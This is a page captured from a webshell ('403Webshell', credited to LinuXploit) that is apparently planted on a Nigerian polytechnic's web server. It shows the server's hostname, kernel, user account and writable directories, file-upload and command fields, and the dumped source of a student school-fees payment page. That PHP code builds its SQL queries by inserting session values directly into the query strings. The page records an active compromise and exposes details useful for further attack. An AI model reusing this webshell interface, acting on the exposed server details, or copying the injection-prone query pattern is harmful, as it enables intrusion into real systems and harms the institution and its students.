403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.66
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/eace_admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/eace_admin_student/index_pay_schoolFeesc.php
<?php
ob_start();
include('headMain.php');
//include('footMain.php');
//die("Very Soon..");
//header('location:'.'closedSemester.php');
//die();
/**
 * Created by PhpStorm.
 * User: adisa
 * Date: 3/2/2016
 * Time: 3:31 PM
 */
//session_start();
// ob_start();
$_SESSION['medium'] = 'ATM Card';
$_SESSION['ptype'] = 'School Fees';

if(!isset($_SESSION['matNo'])){
    header('location:login.php');
}

?>

<script type="text/javascript" language="javascript" src="../js/jquery-1.7.1.js"></script>

<script type="text/javascript" language="javascript" >

    $(function(){
        $("#olevel").change(function(){
            ($("#olevel").val());

            $.post("../js/eace_getolevel.php",{olevel:$("#olevel").val()},function(data){
                $("#amt").val(data);
            });
        });
    });



</script>


<div id="wrapper">
    <table width="100%" align="center" cellpadding="3" cellspacing="5">
        <tr>
            <td><fieldset>
                    <form id="form1" name="form1" method="POST" action="payment.php" role="form">


                        <fieldset>
                            <legend>
                                <div class="row">
                                    <div class="col-lg-3"></div>
                                    <div class="col-lg-6">
                                        <div class="panel panel-default">
                                            <div class="panel-heading">
                                                School Fees Payment (<?php echo $_SESSION['matNo'] ;?>)
                                            </div>
                                            <div class="panel-body">

                                                <div class="row">
                                                    <div class="col-lg-12">
                                                        <form role="form">

                                                            <table width="100%" cellspacing="5" cellpadding="3">
                                                                <?php
                                                                require_once('../connect.php');
                                                                $_SESSION['ptype']='School Fees';
                                                                $matno= $_SESSION['matNo'];
                                                                $levelID=$_SESSION['levelID'];
                                                                $course= $_SESSION['course'];

                                                                // echo '<font color="#FF0000"><h3> Click on "Make Other Payment" to pay Late Registration Penalty</h3></font>';
                                                                //deptID

                                                                $_SESSION['deptID']=0;
                                                                $course=trim($course);
//                                                                echo $kkkk= "select * from dept where dOption='$course'";
                                                                $res=$db->query("select * from dept where dOption='$course'");
                                                                $res_fetch=$res->fetch(PDO::FETCH_BOTH);
                                                                $n=$res->rowCount();
//                                                                echo $course;

                                                                if ($n>0){
                                                                    $deptID=$_SESSION['deptID']=$res_fetch['sn'];
                                                                }

                                                                $sql_current=$db->query("select * from current where sn=2");
                                                                $sql_current_fetch=$sql_current->fetch(PDO::FETCH_BOTH);
                                                                $num_current=$sql_current->rowCount();
                                                                if ($num_current>0){
                                                                    $semester=$_SESSION['asemester']=$sql_current_fetch['asemester'];
                                                                    $asession=$_SESSION['asession']=$sql_current_fetch['asession'];
                                                                }


                                                                //End
                                                                $sdouble=$db->query("select * from eace_realdata where formNo='$matno' and fresher='4'");
                                                                $sdouble_fetch=$sdouble->fetch(PDO::FETCH_BOTH);
                                                                $rdouble=$sdouble->rowCount();
                                                                if ($rdouble>0){
                                                                    $matno=$sdouble_fetch['matNo'];
                                                                    //$_SESSION['matNo']=$matno;
                                                                }

                                                                $query=$db->query("select sum(amtPaid) as amtP from eace_remitaorder where `regNo`='$matno'  and transApproved='True' and (paymentType='School Fees' or paymentType='Additional School Fees')");
                                                                $q_num=$query->rowCount();
                                                                $query_fetch=$query->fetch(PDO::FETCH_BOTH);

                                                                if ($q_num>0){
                                                                      $amtPaid=$query_fetch['amtP'];
                                                                    //  echo "Payment Has Been Made, Proceed to Registration";
                                                                    //check status repeater

                                                                    $checkRemark="select * from rawcgpa where matNo='$matno' and `remark` LIKE '%REPE%'";
                                                                    $resultRemark=$db->query($checkRemark);
                                                                    $numRemark=$resultRemark->rowCount();
                                                                    if ($numRemark>0){
                                                                        $remark='Repeater';
                                                                        $_SESSION['repeater']=$remark;
                                                                        //$levelID=$levelID-1;
                                                                        //end of repeater
                                                                    }else{
                                                                        $checkFresher="select * from eace_admitted where formNo='$formNo'";
                                                                        $resultFresher=$db->query($checkFresher);
                                                                        $numFresher=$resultFresher->rowCount();
                                                                        $resultFresher_fetch=$resultFresher->fetch(PDO::FETCH_BOTH);
                                                                        if ($numFresher>0){
                                                                            $remark= $resultFresher_fetch['status'];
                                                                        }else{
                                                                            $remark='Normal';
                                                                        }
                                                                    }
                                                                    $k = $db->query("select * from eace_realdata where matNo='$matno' and `status`='Deferment'");
                                                                    $deferment = $k->rowCount();
                                                                    if ($deferment == '1') {
                                                                        $remark = 'Repeater';
                                                                        $_SESSION['repeater'] = $remark;
                                                                    }
                                                                    if (($levelID == '6') and ($remark == 'Repeater')) {
                                                                        $remark = 'Normal';
                                                                    }
                                                                    //End statuse

//                                                                    echo $remark;
                                                                     $checkAmount="select * from eace_schoolfee where dept='$deptID' and level='$levelID' and status='$remark' and asession='$asession'" ;
                                                                    $resultAmount=$db->query($checkAmount);
                                                                    $numAmount=$resultAmount->rowCount();
                                                                    $resultAmount_fetch=$resultAmount->fetch(PDO::FETCH_BOTH);
                                                                     $kAmt= $resultAmount_fetch['amount'];
                                                                     $amount=$_SESSION['amount']=$_SESSION['amount1']=$kAmt-$amtPaid;//+1000;//+5000;
                                                                    if ($amount>0){

                                                                        ?>

                                                                        <tr>
                                                                            <td>&nbsp;</td>
                                                                            <td>&nbsp;</td>
                                                                            <td><b>
                                                                                    <h3> Amount Expected: <?php echo $amount; ?></h3></b></td>
                                                                        </tr>

                                                                        <tr>
                                                                            <td colspan="3"><table width="400" align="center">
                                                                                    <tbody>
                                                                                    <tr>
                                                                                        <td width="200">Payer Name:</td>
                                                                                        <td><input name="payerName" class="form-control" type="text" value="<?php echo $_SESSION['names'];?>" size="45" readonly="readonly"  id="txtRound"/></td>
                                                                                    </tr>
                                                                                    <tr>
                                                                                        <td width="200">Payer Email: <font color="red">*</font></td>
                                                                                        <td><input name="payerEmail" required="required" class="form-control"  value="" type="email" id="txtRound" /></td>
                                                                                    </tr>
                                                                                    <tr>
                                                                                        <td width="200">Payer Phone:</td>
                                                                                        <td><input name="payerPhone" class="form-control" value="" type="text" id="txtRound" />
                                                                                        <input type="hidden" name="pt" value="School Fees" /></td>
                                                                                    </tr>
                                                                                    <?php
                                                                                    $olevelCheck=$db->query("select * from eace_realdata where matNo='$matno' and fresher='4'")->rowCount();
                                                                                    if ($olevelCheck>0){
                                                                                        ?>
                                                                                        <tr>
                                                                                            <td>Payment Mode</td>
                                                                                            <td><label for="olevel"></label>
                                                                                                <select name="olevel" id="olevel" class="form-control">
                                                                                                    <option value="1">Part Payment</option>
                                                                                                    <option value="0" selected>Full Payment with 1 O'Level Sitting</option>
                                                                                                    <option value="2500">Full Payment with 2 O'Level Sitting </option>
                                                                                                </select></td>
                                                                                        </tr>



                                                                                    <?php
                                                                                    }
                                                                                    ?>
                                                                                    <tr>
                                                                                        <td width="200">Charges:</td>
                                                                                        <td><input name="text" class="form-control" value="1050" type="text" id="txtRound" /></td>
                                                                                    </tr>
                                                                                    <tr>
                                                                                        <td width="200">Total Amount:  <font color="red">*</font></td>
                                                                                        <td id="amt1"><input class="form-control" name="amt" type="text" required="required"  value="<?php echo $amount+1050;?>" readonly="readonly" id="amt" /></td>
                                                                                    </tr>
                                                                                    <tr style="display: none">
                                                                                        <td width="200">Payment Type:</td>
                                                                                        <td><select class="required-entry form-control" title="Credit Card Type" name="paymenttype" id="paymenttype" autocomplete="off" >
                                                                                                <option>-- Select Payment Type --</option>
                                                                                                <option value="VERVE"> Verve Card</option>
                                                                                                <option value="VISA"> Visa</option>
                                                                                                <option value="MASTERCARD"> MasterCard</option>
                                                                                                <option value="POCKETMONI"> PocketMoni</option>
                                                                                                <option value="POS"> POS</option>
                                                                                                <option value="ATM"> ATM</option>
                                                                                                <option value="BANK_BRANCH">BANK BRANCH</option>
                                                                                                <option value="BANK_INTERNET">BANK INTERNET</option>
                                                                                                <option value="REMITA_PAY"> Remita Account Transfer</option>
                                                                                            </select></td>
                                                                                    </tr>
                                                                                    <tr><td><p></p></td></tr>
                                                                                    <tr>
                                                                                        <td colspan="2" align="center"><p><input type ="submit" class="btn btn-primary btn-block" name="input" value="Pay" id="button" />
                                                                                                <img src="../images/remitaLogo.jpg" alt="" width="418" height="90" />
                                                                                            <p><?php echo' <br /><a href="paymentHistory.php"> Click to check Payment History</a>';?></td>
                                                                                    </tr>
                                                                                    </tbody>
                                                                                </table></td>
                                                                        </tr>
                                                                        <tr>
                                                                            <td colspan="3">&nbsp;</td>
                                                                        </tr>
                                                                    <?php }else {
                                                                        ?>
                                                                        <tr>
                                                                            <td>&nbsp;</td>
                                                                            <td>&nbsp;</td>
                                                                            <td><b>
                                                                                    <h3> Amount Expected: 0</h3></b></td>
                                                                        </tr>

                                                                    <?php

                                                                    }

                                                                    ?>
                                                                <?php
                                                                }

                                                                ?>
                                                            </table>
                                                        </form>
                        </fieldset></td>
        </tr>
    </table>

    <?php
    include('footMain.php');
    ob_end_flush();
    ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit